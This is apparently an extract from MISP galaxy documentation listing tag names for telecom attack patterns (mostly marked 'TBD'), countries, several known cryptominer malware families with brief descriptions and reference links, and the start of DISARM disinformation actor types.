The tag is: misp-galaxy:cmtmf-attack-pattern="Exploit via Charging Station or PC"
Exploit via Radio Interfaces

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Exploit via Radio Interfaces"

Rogue Cellular Base Station

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Rogue Cellular Base Station"

Insider attacks and human errors

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Insider attacks and human errors"

Trusted Relationship

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Trusted Relationship"

Supply Chain Compromise

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Supply Chain Compromise"

Native Code

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Native Code"

Scheduled Task/Job

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Scheduled Task/Job"

Command-Line Interface

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Command-Line Interface"
Command and Scripting Interpreter
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Command and Scripting Interpreter"

Boot or Logon Autostart Execution
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Boot or Logon Autostart Execution"

Foreground Persistence
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Foreground Persistence"

Modify Cached Executable Code
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Modify Cached Executable Code"

Compromise Application Executable
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Compromise Application Executable"

Modify OS Kernel or Boot Partition
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Modify OS Kernel or Boot Partition"

Event Triggered Execution
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Event Triggered Execution"

Spoofed radio network
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Spoofed radio network"
Infecting network nodes
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Infecting network nodes"

Code Injection
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Code Injection"

Process Injection
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Process Injection"

Masquerading
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Masquerading"

Disguise Root/Jailbreak Indicators
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Disguise Root/Jailbreak Indicators"

Evade Analysis Environment
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Evade Analysis Environment"

Modify Trusted Execution Environment
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Modify Trusted Execution Environment"

Obfuscated Files or Information
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Obfuscated Files or Information"
Suppress Application Icon

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Suppress Application Icon"

Uninstall Malicious Application

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Uninstall Malicious Application"

Install Insecure or Malicious Configuration

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Install Insecure or Malicious Configuration"

Geofencing

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Geofencing"

Shutdown Remote Device

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Shutdown Remote Device"

Exploitation for Defense Evasion

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Exploitation for Defense Evasion"

Security Audit Camouflage

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Security Audit Camouflage"

Overload Avoidance

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Overload Avoidance"
Traffic Distribution
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Traffic Distribution"

URI Hijacking
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="URI Hijacking"

Modify Authentication Process
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Modify Authentication Process"

Forced Authentication
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Forced Authentication"

System Network Connections Discovery
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="System Network Connections Discovery"

UE knocking
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="UE knocking"

Internal Resource Search
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Internal Resource Search"

Network Sniffing
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Network Sniffing"
Abusing Inter-working Functionalities
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Abusing Inter-working Functionalities"

Replication Through SMS
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Replication Through SMS"

Replication Through Bluetooth
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Replication Through Bluetooth"

Replication Through WLAN
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Replication Through WLAN"

Replication Through IP
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Replication Through IP"

Exploit platform & service specific vulnerabilities
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Exploit platform & service specific vulnerabilities"

Access Sensitive Data in Device Logs
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Access Sensitive Data in Device Logs"

Network Traffic Capture or Redirection
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Network Traffic Capture or Redirection"
Network-specific identifiers

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Network-specific identifiers"

Network-specific data

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Network-specific data"

Application Layer Protocol

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Application Layer Protocol"

Communication via SMS

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Communication via SMS"

Communication via Bluetooth

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Communication via Bluetooth"

Communication via WLAN

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Communication via WLAN"

Exploit SS7 to Redirect Phone Calls/SMS

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS"

Exploit SS7 to Track Device Location

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Exploit SS7 to Track Device Location"
SS7-based attacks
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="SS7-based attacks"

Diameter-based attacks
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Diameter-based attacks"

GTP-based attacks
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="GTP-based attacks"

NAS-based attacks
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="NAS-based attacks"

MEC-based attacks
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="MEC-based attacks"

Network Slice
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Network Slice"

Automated Exfiltration
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Automated Exfiltration"

Data Encrypted
TBD
The tag is: misp-galaxy:cmtmf-attack-pattern="Data Encrypted"
Alternate Network Mediums

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Alternate Network Mediums"`

Data Manipulation

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Data Manipulation"`

Endpoint Denial of Service

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Endpoint Denial of Service"`

Carrier Billing Fraud

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Carrier Billing Fraud"`

SMS Fraud

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="SMS Fraud"`

Manipulate Device Communication

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Manipulate Device Communication"`

Jamming or Denial of Service

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Jamming or Denial of Service"`

Location Tracking

TBD

The tag is: `misp-galaxy:cmtmf-attack-pattern="Location Tracking"`
Identity Exploit

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Identity Exploit"

Network Denial of Service

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Network Denial of Service"

Resource Hijacking

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Resource Hijacking"

SLA Breach

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="SLA Breach"

Customer Churn

TBD

The tag is: misp-galaxy:cmtmf-attack-pattern="Customer Churn"

Country

Country meta information based on the database provided by geonames.org.

Country is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
geonames.org

andorra

Andorra

The tag is: misp-galaxy:country="andorra"
united arab emirates
United Arab Emirates
The tag is: misp-galaxy:country="united arab emirates"

afghanistan
Afghanistan
The tag is: misp-galaxy:country="afghanistan"

antigua and barbuda
Antigua and Barbuda
The tag is: misp-galaxy:country="antigua and barbuda"

anguilla
Anguilla
The tag is: misp-galaxy:country="anguilla"

albania
Albania
The tag is: misp-galaxy:country="albania"

armenia
Armenia
The tag is: misp-galaxy:country="armenia"

angola
Angola
The tag is: misp-galaxy:country="angola"

antarctica
Antarctica
The tag is: misp-galaxy:country="antarctica"
Argentina
Argentina
The tag is: misp-galaxy:country="argentina"

American Samoa
American Samoa
The tag is: misp-galaxy:country="american samoa"

Austria
Austria
The tag is: misp-galaxy:country="austria"

Australia
Australia
The tag is: misp-galaxy:country="australia"

Aruba
Aruba
The tag is: misp-galaxy:country="aruba"

Aland Islands
Aland Islands
The tag is: misp-galaxy:country="aland islands"

Azerbaijan
Azerbaijan
The tag is: misp-galaxy:country="azerbaijan"

Bosnia and Herzegovina
Bosnia and Herzegovina
The tag is: misp-galaxy:country="bosnia and herzegovina"
barbados
Barbados
The tag is: misp-galaxy:country=“barbados”

bangladesh
Bangladesh
The tag is: misp-galaxy:country=“bangladesh”

belgium
Belgium
The tag is: misp-galaxy:country=“belgium”

burkina faso
Burkina Faso
The tag is: misp-galaxy:country=“burkina faso”

bulgaria
Bulgaria
The tag is: misp-galaxy:country=“bulgaria”

bahrain
Bahrain
The tag is: misp-galaxy:country=“bahrain”

burundi
Burundi
The tag is: misp-galaxy:country=“burundi”

benin
Benin
The tag is: misp-galaxy:country=“benin”
saint barthelemy
Saint Barthelemy
The tag is: misp-galaxy:country="saint barthelemy"

bermuda
Bermuda
The tag is: misp-galaxy:country="bermuda"

brunei
Brunei
The tag is: misp-galaxy:country="brunei"

bolivia
Bolivia
The tag is: misp-galaxy:country="bolivia"

bonaire, saint eustatius and saba
Bonaire, Saint Eustatius and Saba
The tag is: misp-galaxy:country="bonaire, saint eustatius and saba"

brazil
Brazil
The tag is: misp-galaxy:country="brazil"

bahamas
Bahamas
The tag is: misp-galaxy:country="bahamas"

bhutan
Bhutan
The tag is: misp-galaxy:country="bhutan"
bouvet island
Bouvet Island
The tag is: misp-galaxy:country="bouvet island"

botswana
Botswana
The tag is: misp-galaxy:country="botswana"

belarus
Belarus
The tag is: misp-galaxy:country="belarus"

belize
Belize
The tag is: misp-galaxy:country="belize"

canada
Canada
The tag is: misp-galaxy:country="canada"

cocos islands
Cocos Islands
The tag is: misp-galaxy:country="cocos islands"

democratic republic of the congo
Democratic Republic of the Congo
The tag is: misp-galaxy:country="democratic republic of the congo"

central african republic
Central African Republic
The tag is: misp-galaxy:country="central african republic"
republic of the congo
Republic of the Congo
The tag is: misp-galaxy:country="republic of the congo"

switzerland
Switzerland
The tag is: misp-galaxy:country="switzerland"

ivory coast
Ivory Coast
The tag is: misp-galaxy:country="ivory coast"

cook islands
Cook Islands
The tag is: misp-galaxy:country="cook islands"

chile
Chile
The tag is: misp-galaxy:country="chile"

cameroon
Cameroon
The tag is: misp-galaxy:country="cameroon"

china
China
The tag is: misp-galaxy:country="china"

colombia
Colombia
The tag is: misp-galaxy:country="colombia"
costa rica
Costa Rica
The tag is: misp-galaxy:country="costa rica"

cuba
Cuba
The tag is: misp-galaxy:country="cuba"

cabo verde
Cabo Verde
The tag is: misp-galaxy:country="cabo verde"

curacao
Curacao
The tag is: misp-galaxy:country="curacao"

christmas island
Christmas Island
The tag is: misp-galaxy:country="christmas island"

cyprus
Cyprus
The tag is: misp-galaxy:country="cyprus"

czechia
Czechia
The tag is: misp-galaxy:country="czechia"

germany
Germany
The tag is: misp-galaxy:country="germany"
djibouti
Djibouti
The tag is: misp-galaxy:country="djibouti"

denmark
Denmark
The tag is: misp-galaxy:country="denmark"

dominica
Dominica
The tag is: misp-galaxy:country="dominica"

dominican republic
Dominican Republic
The tag is: misp-galaxy:country="dominican republic"

algeria
Algeria
The tag is: misp-galaxy:country="algeria"

ecuador
Ecuador
The tag is: misp-galaxy:country="ecuador"

estonia
Estonia
The tag is: misp-galaxy:country="estonia"

eypt
Egypt
The tag is: misp-galaxy:country="egypt"
western sahara
Western Sahara
The tag is: misp-galaxy:country="western sahara"

eritrea
Eritrea
The tag is: misp-galaxy:country="eritrea"

spain
Spain
The tag is: misp-galaxy:country="spain"

ethiopia
Ethiopia
The tag is: misp-galaxy:country="ethiopia"

finland
Finland
The tag is: misp-galaxy:country="finland"

fiji
Fiji
The tag is: misp-galaxy:country="fiji"

falkland islands
Falkland Islands
The tag is: misp-galaxy:country="falkland islands"

micronesia
Micronesia
The tag is: misp-galaxy:country="micronesia"
faroe islands
Faroe Islands
The tag is: misp-galaxy:country="faroe islands"

france
France
The tag is: misp-galaxy:country="france"

gabon
Gabon
The tag is: misp-galaxy:country="gabon"

united kingdom
United Kingdom
The tag is: misp-galaxy:country="united kingdom"

grenada
Grenada
The tag is: misp-galaxy:country="grenada"

georgia
Georgia
The tag is: misp-galaxy:country="georgia"

french guiana
French Guiana
The tag is: misp-galaxy:country="french guiana"

guernsey
Guernsey
The tag is: misp-galaxy:country="guernsey"
ghana
Ghana
The tag is: misp-galaxy:country="ghana"

gibraltar
Gibraltar
The tag is: misp-galaxy:country="gibraltar"

greenland
Greenland
The tag is: misp-galaxy:country="greenland"

gambia
Gambia
The tag is: misp-galaxy:country="gambia"

guinea
Guinea
The tag is: misp-galaxy:country="guinea"

guadeloupe
Guadeloupe
The tag is: misp-galaxy:country="guadeloupe"

equatorial guinea
Equatorial Guinea
The tag is: misp-galaxy:country="equatorial guinea"

greece
Greece
The tag is: misp-galaxy:country="greece"
south georgia and the south sandwich islands

South Georgia and the South Sandwich Islands

The tag is: misp-galaxy:country="south georgia and the south sandwich islands"

guatemala

Guatemala

The tag is: misp-galaxy:country="guatemala"

guam

Guam

The tag is: misp-galaxy:country="guam"

guinea-bissau

Guinea-Bissau

The tag is: misp-galaxy:country="guinea-bissau"

guyana

Guyana

The tag is: misp-galaxy:country="guyana"

hong kong

Hong Kong

The tag is: misp-galaxy:country="hong kong"

heard island and mcdonald islands

Heard Island and McDonald Islands

The tag is: misp-galaxy:country="heard island and mcdonald islands"

honduras

Honduras

The tag is: misp-galaxy:country="honduras"
croatia
Croatia
The tag is: misp-galaxy:country="croatia"

haiti
Haiti
The tag is: misp-galaxy:country="haiti"

hungary
Hungary
The tag is: misp-galaxy:country="hungary"

indonesia
Indonesia
The tag is: misp-galaxy:country="indonesia"

ireland
Ireland
The tag is: misp-galaxy:country="ireland"

israel
Israel
The tag is: misp-galaxy:country="israel"

isle of man
Isle of Man
The tag is: misp-galaxy:country="isle of man"

india
India
The tag is: misp-galaxy:country="india"
british indian ocean territory
British Indian Ocean Territory
The tag is: misp-galaxy:country="british indian ocean territory"

iraq
Iraq
The tag is: misp-galaxy:country="iraq"

iran
Iran
The tag is: misp-galaxy:country="iran"

iceland
Iceland
The tag is: misp-galaxy:country="iceland"

italy
Italy
The tag is: misp-galaxy:country="italy"

jersey
Jersey
The tag is: misp-galaxy:country="jersey"

jamaica
Jamaica
The tag is: misp-galaxy:country="jamaica"

jordan
Jordan
The tag is: misp-galaxy:country="jordan"
japan

Japan

The tag is: `misp-galaxy:country="japan"`

kenya

Kenya

The tag is: `misp-galaxy:country="kenya"`

kyrgyzstan

Kyrgyzstan

The tag is: `misp-galaxy:country="kyrgyzstan"`

cambodia

Cambodia

The tag is: `misp-galaxy:country="cambodia"`

kiribati

Kiribati

The tag is: `misp-galaxy:country="kiribati"`

comoros

Comoros

The tag is: `misp-galaxy:country="comoros"`

saint kitts and nevis

Saint Kitts and Nevis

The tag is: `misp-galaxy:country="saint kitts and nevis"`

north korea

North Korea

The tag is: `misp-galaxy:country="north korea"`
south korea
South Korea
The tag is: misp-galaxy:country="south korea"

Kosovo
Kosovo
The tag is: misp-galaxy:country="kosovo"

Kuwait
Kuwait
The tag is: misp-galaxy:country="kuwait"

Cayman Islands
Cayman Islands
The tag is: misp-galaxy:country="cayman islands"

Kazakhstan
Kazakhstan
The tag is: misp-galaxy:country="kazakhstan"

Laos
Laos
The tag is: misp-galaxy:country="laos"

Lebanon
Lebanon
The tag is: misp-galaxy:country="lebanon"

Saint Lucia
Saint Lucia
The tag is: misp-galaxy:country="saint lucia"
liechtenstein
Liechtenstein
The tag is: misp-galaxy:country="liechtenstein"

sri lanka
Sri Lanka
The tag is: misp-galaxy:country="sri lanka"

liberia
Liberia
The tag is: misp-galaxy:country="liberia"

lesotho
Lesotho
The tag is: misp-galaxy:country="lesotho"

lithuania
Lithuania
The tag is: misp-galaxy:country="lithuania"

luxembourg
Luxembourg
The tag is: misp-galaxy:country="luxembourg"

latvia
Latvia
The tag is: misp-galaxy:country="latvia"

libya
Libya
The tag is: misp-galaxy:country="libya"
morocco
Morocco
The tag is: misp-galaxy:country="morocco"

monaco
Monaco
The tag is: misp-galaxy:country="monaco"

moldova
Moldova
The tag is: misp-galaxy:country="moldova"

montenegro
Montenegro
The tag is: misp-galaxy:country="montenegro"

saint martin
Saint Martin
The tag is: misp-galaxy:country="saint martin"

madagascar
Madagascar
The tag is: misp-galaxy:country="madagascar"

marshall islands
Marshall Islands
The tag is: misp-galaxy:country="marshall islands"

north macedonia
North Macedonia
The tag is: misp-galaxy:country="north macedonia"
mali
Mali
The tag is: `misp-galaxy:country="mali"`

myanmar
Myanmar
The tag is: `misp-galaxy:country="myanmar"`

mongolia
Mongolia
The tag is: `misp-galaxy:country="mongolia"`

macao
Macao
The tag is: `misp-galaxy:country="macao"`

northern mariana islands
Northern Mariana Islands
The tag is: `misp-galaxy:country="northern mariana islands"`

martinique
Martinique
The tag is: `misp-galaxy:country="martinique"`

mauritania
Mauritania
The tag is: `misp-galaxy:country="mauritania"`

montserrat
Montserrat
The tag is: `misp-galaxy:country="montserrat"`
malta
Malta
The tag is: misp-galaxy:country="malta"

mauritius
Mauritius
The tag is: misp-galaxy:country="mauritius"

maldives
Maldives
The tag is: misp-galaxy:country="maldives"

malawi
Malawi
The tag is: misp-galaxy:country="malawi"

mexico
Mexico
The tag is: misp-galaxy:country="mexico"

malaysia
Malaysia
The tag is: misp-galaxy:country="malaysia"

mozambique
Mozambique
The tag is: misp-galaxy:country="mozambique"

namibia
Namibia
The tag is: misp-galaxy:country="namibia"
new caledonia
New Caledonia
The tag is: misp-galaxy:country="new caledonia"

niger
Niger
The tag is: misp-galaxy:country="niger"

norfolk island
Norfolk Island
The tag is: misp-galaxy:country="norfolk island"

nigeria
Nigeria
The tag is: misp-galaxy:country="nigeria"

nicaragua
Nicaragua
The tag is: misp-galaxy:country="nicaragua"

netherlands
Netherlands
The tag is: misp-galaxy:country="netherlands"

norway
Norway
The tag is: misp-galaxy:country="norway"

nepal
Nepal
The tag is: misp-galaxy:country="nepal"
nauru
Nauru
The tag is: misp-galaxy:country="nauru"

niue
Niue
The tag is: misp-galaxy:country="niue"

new zealand
New Zealand
The tag is: misp-galaxy:country="new zealand"

oman
Oman
The tag is: misp-galaxy:country="oman"

panama
Panama
The tag is: misp-galaxy:country="panama"

peru
Peru
The tag is: misp-galaxy:country="peru"

french polynesia
French Polynesia
The tag is: misp-galaxy:country="french polynesia"

papua new guinea
Papua New Guinea
The tag is: misp-galaxy:country="papua new guinea"
**Philippines**
Philippines
The tag is: `misp-galaxy:country="philippines"`

**Pakistan**
Pakistan
The tag is: `misp-galaxy:country="pakistan"`

**Poland**
Poland
The tag is: `misp-galaxy:country="poland"`

**Saint Pierre and Miquelon**
Saint Pierre and Miquelon
The tag is: `misp-galaxy:country="saint pierre and miquelon"`

**Pitcairn**
Pitcairn
The tag is: `misp-galaxy:country="pitcairn"`

**Puerto Rico**
Puerto Rico
The tag is: `misp-galaxy:country="puerto rico"`

**Palestinian Territory**
Palestinian Territory
The tag is: `misp-galaxy:country="palestinian territory"`

**Portugal**
Portugal
The tag is: `misp-galaxy:country="portugal"`
palau
Palau
The tag is: misp-galaxy:country="palau"

paraguay
Paraguay
The tag is: misp-galaxy:country="paraguay"

qatar
Qatar
The tag is: misp-galaxy:country="qatar"

reunion
Reunion
The tag is: misp-galaxy:country="reunion"

romania
Romania
The tag is: misp-galaxy:country="romania"

serbia
Serbia
The tag is: misp-galaxy:country="serbia"

russia
Russia
The tag is: misp-galaxy:country="russia"

rwanda
Rwanda
The tag is: misp-galaxy:country="rwanda"
saudi arabia
Saudi Arabia
The tag is: misp-galaxy:country="saudi arabia"

solomon islands
Solomon Islands
The tag is: misp-galaxy:country="solomon islands"

seychelles
Seychelles
The tag is: misp-galaxy:country="seychelles"

sudan
Sudan
The tag is: misp-galaxy:country="sudan"

south sudan
South Sudan
The tag is: misp-galaxy:country="south sudan"

sweden
Sweden
The tag is: misp-galaxy:country="sweden"

singapore
Singapore
The tag is: misp-galaxy:country="singapore"

saint helena
Saint Helena
The tag is: misp-galaxy:country="saint helena"
slovenia
Slovenia
The tag is: `misp-galaxy:country="slovenia"`

svalbard and jan mayen
Svalbard and Jan Mayen
The tag is: `misp-galaxy:country="svalbard and jan mayen"`

slovakia
Slovakia
The tag is: `misp-galaxy:country="slovakia"`

sierra leone
Sierra Leone
The tag is: `misp-galaxy:country="sierra leone"`

san marino
San Marino
The tag is: `misp-galaxy:country="san marino"`

senegal
Senegal
The tag is: `misp-galaxy:country="senegal"`

somalia
Somalia
The tag is: `misp-galaxy:country="somalia"`

suriname
Suriname
The tag is: `misp-galaxy:country="suriname"`
sao tome and principe
Sao Tome and Principe
The tag is: misp-galaxy:country="sao tome and principe"

el salvador
El Salvador
The tag is: misp-galaxy:country="el salvador"

sint maarten
Sint Maarten
The tag is: misp-galaxy:country="sint maarten"

syria
Syria
The tag is: misp-galaxy:country="syria"

eswatini
Eswatini
The tag is: misp-galaxy:country="eswatini"

turks and caicos islands
Turks and Caicos Islands
The tag is: misp-galaxy:country="turks and caicos islands"

chad
Chad
The tag is: misp-galaxy:country="chad"

french southern territories
French Southern Territories
The tag is: misp-galaxy:country="french southern territories"
togo
Togo
The tag is: `misp-galaxy:country="togo"`

thailand
Thailand
The tag is: `misp-galaxy:country="thailand"`

tajikistan
Tajikistan
The tag is: `misp-galaxy:country="tajikistan"`

tokelau
Tokelau
The tag is: `misp-galaxy:country="tokelau"`

timor leste
Timor Leste
The tag is: `misp-galaxy:country="timor leste"`

turkmenistan
Turkmenistan
The tag is: `misp-galaxy:country="turkmenistan"`

tunisia
Tunisia
The tag is: `misp-galaxy:country="tunisia"`

tonga
Tonga
The tag is: `misp-galaxy:country="tonga"`
turkey
Turkey
The tag is: misp-galaxy:country="turkey"

trinidad and tobago
Trinidad and Tobago
The tag is: misp-galaxy:country="trinidad and tobago"

tuvalu
Tuvalu
The tag is: misp-galaxy:country="tuvalu"

taiwan
Taiwan
The tag is: misp-galaxy:country="taiwan"

tanzania
Tanzania
The tag is: misp-galaxy:country="tanzania"

ukraine
Ukraine
The tag is: misp-galaxy:country="ukraine"

uganda
Uganda
The tag is: misp-galaxy:country="uganda"

united states minor outlying islands
United States Minor Outlying Islands
The tag is: misp-galaxy:country="united states minor outlying islands"
united states of america
United States of America
The tag is: misp-galaxy:country="united states of america"

uruguay
Uruguay
The tag is: misp-galaxy:country="uruguay"

uzbekistan
Uzbekistan
The tag is: misp-galaxy:country="uzbekistan"

vatican
Vatican
The tag is: misp-galaxy:country="vatican"

saint vincent and the grenadines
Saint Vincent and the Grenadines
The tag is: misp-galaxy:country="saint vincent and the grenadines"

venezuela
Venezuela
The tag is: misp-galaxy:country="venezuela"

british virgin islands
British Virgin Islands
The tag is: misp-galaxy:country="british virgin islands"

u.s. virgin islands
U.S. Virgin Islands
The tag is: misp-galaxy:country="u.s. virgin islands"
vietnam
Vietnam
The tag is: misp-galaxy:country="vietnam"

vanuatu
Vanuatu
The tag is: misp-galaxy:country="vanuatu"

wallis and futuna
Wallis and Futuna
The tag is: misp-galaxy:country="wallis and futuna"

samoa
Samoa
The tag is: misp-galaxy:country="samoa"

yemen
Yemen
The tag is: misp-galaxy:country="yemen"

mayotte
Mayotte
The tag is: misp-galaxy:country="mayotte"

south africa
South Africa
The tag is: misp-galaxy:country="south africa"

zambia
Zambia
The tag is: misp-galaxy:country="zambia"
Cryptominers

A list of cryptominer and cryptojacker malware.

Cryptominers is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Cisco Talos - raw-data

Lemon Duck

The infection starts with a PowerShell loading script, which is copied from other infected systems via SMB, email or external USB drives. The actor also employs several exploits for vulnerabilities such as SMBGhost and Eternal Blue.

The tag is: misp-galaxy:cryptominers="Lemon Duck"

Lemon Duck is also known as:

Table 981. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://success.trendmicro.com/solution/000261916">https://success.trendmicro.com/solution/000261916</a></td>
</tr>
</tbody>
</table>
WannaMine

WannaMine is a cryptojacker that takes advantage of EternalBlue.

The tag is: `misp-galaxy:cryptominers="WannaMine"`

WannaMine is also known as:

**Table 982. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/?utm_campaign=dsa&amp;utm_content=us&amp;utm_medium=sem&amp;utm_source=goog&amp;utm_term=&amp;gclid=EAIaIQobChMIjrayysrX7AIVFUWGCh3sQA-pKEAYASAAEgIE6_D_BwE">https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/?utm_campaign=dsa&amp;utm_content=us&amp;utm_medium=sem&amp;utm_source=goog&amp;utm_term=&amp;gclid=EAIaIQobChMIjrayysrX7AIVFUWGCh3sQA-pKEAYASAAEgIE6_D_BwE</a></td>
</tr>
</tbody>
</table>

Blue Mockingbird Cryptominer

Blue Mockingbird Crypto miner is a crypto-mining payload within DLLs on Windows Systems.

The tag is: `misp-galaxy:cryptominers="Blue Mockingbird Cryptominer"`

**Table 983. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/blue-mockingbird-cryptominer/">https://redcanary.com/blog/blue-mockingbird-cryptominer/</a></td>
</tr>
</tbody>
</table>

Krane

The Krane malware uses SSH brute-force techniques to drop the XMRig cryptominer on the target to mine for the Hashvault pool.

The tag is: `misp-galaxy:cryptominers="Krane"`

**Table 984. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hezb

“Hezb”, which is based on command line artifact data, was observed around Kinsing. This malware
is relatively new and was recently reported in late May exploiting WSO2 RCE (CVE-2022-29464) in the wild. Several malware components were observed, the first of which was an XMRig miner installed as “Hezb”. Additional modules included a polkit exploit for privilege escalation as well as a zero-detection ELF payload named “kik”.

The tag is: *misp-galaxy:cryptominers="Hezb"*

---

**Actor Types**

DISARM is a framework designed for describing and understanding disinformation incidents.

Author

DISARM Project

**data scientist**

Person who can wrangle data, implement machine learning algorithms etc

The tag is: *misp-galaxy:disarm-actortypes="data scientist"*

**target**

Person being targeted by disinformation campaign

The tag is: *misp-galaxy:disarm-actortypes="target"*

---

*Table 985. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

*Table 986. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

*Table 987. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
trusted authority

Influencer

The tag is: `misp-galaxy:disarm-actortypes="trusted authority"`

Table 988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A003.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A003.md</a></td>
</tr>
</tbody>
</table>

activist

The tag is: `misp-galaxy:disarm-actortypes="activist"`

Table 989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

community group

The tag is: `misp-galaxy:disarm-actortypes="community group"`

Table 990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A005.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A005.md</a></td>
</tr>
</tbody>
</table>

educator

The tag is: `misp-galaxy:disarm-actortypes="educator"`

Table 991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

factchecker

Someone with the skills to verify whether information posted is factual

The tag is: `misp-galaxy:disarm-actortypes="factchecker"`
### library

The tag is: `misp-galaxy:disarm-actortypes="library"`

#### Table 992. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A007.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A007.md</a></td>
</tr>
</tbody>
</table>

### NGO

The tag is: `misp-galaxy:disarm-actortypes="NGO"`

#### Table 993. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
